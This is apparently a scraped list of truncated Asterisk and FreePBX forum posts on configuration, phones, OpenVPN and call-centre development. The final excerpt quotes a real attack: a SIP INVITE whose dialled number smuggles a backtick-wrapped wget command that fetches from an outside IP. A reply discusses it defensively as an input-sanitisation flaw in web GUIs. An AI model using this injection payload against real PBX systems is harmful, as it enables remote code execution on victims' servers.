Follow these steps to configure OpenVPN + SIP : 1. Install OpenVPN on Asterisk server. On appliance, there’s only a single binary /bin/openvpn, and configuration files are in /et..
All; Using the FreePBX, after I added the extension from the GUI, I discover that it is automatically added in the extensions_additional.conf in the context [ext-local] and [from-did-direct-ivr] How I can change these context name? I need to determ..
Im new to asterisk, currently working through Asterisk, The Definitive Guide.I have a couple Grandstream 200 phones and a Polycom 501 to play with.The Grandstreams were very easy to configure, but the more capable Polycom almost drove me crazy.Th..
I am new to asterisk 1.4 can someone tell about how to enable the video conference in asteris..
First let me apologize for posting about a GUI topic on here. Theres a reason why I did that, and its because the underlying concept of this is connected to Asterisk.Heres my situation: Twenty wifi clients connecting to our wireless router (Cisco Link..
All; Because vicidial is working with asterisk 1.4, so I would like to know in case of using asterisk 1.4, can I have the configuration to be in the database? As I know that version 1.8 is supporting configuration to be via Database instead of conf fil..
everyone, We are looking to develop our own call centre application (HTML5, real-time, shiny GUI, easy access, etc…) on top of Asterisk. We are tired of using the proprietary packages that currently exist due to no proper support, expensive licens..
Has anyone heard (or read) about an existing or emerging standard targeting the following feature : 1. a SIP handset receives an incoming call 2. this handset starts ringing 3. then it receives an update asking to autoanswer the ringing call. This feat..
Im about to start building my asterisk server and I cant seem to find anything that discusses the pros and cons of installing the OS (Fedora 15) as console only or GUI, ie install KDE as well. So, other than a bit of disk space, is there any reason ..
On 09/11/2011 07:05 PM, Tom Browning wrote: > INVITE sip:00123456789000`wgetx20-Ox20/dev/nullx20http://126.96.36.199/V.email@example.com > SIP/2.0. My guess is that this attack presumes you are running a web GUI such as FreePBX, and that it does not sanit..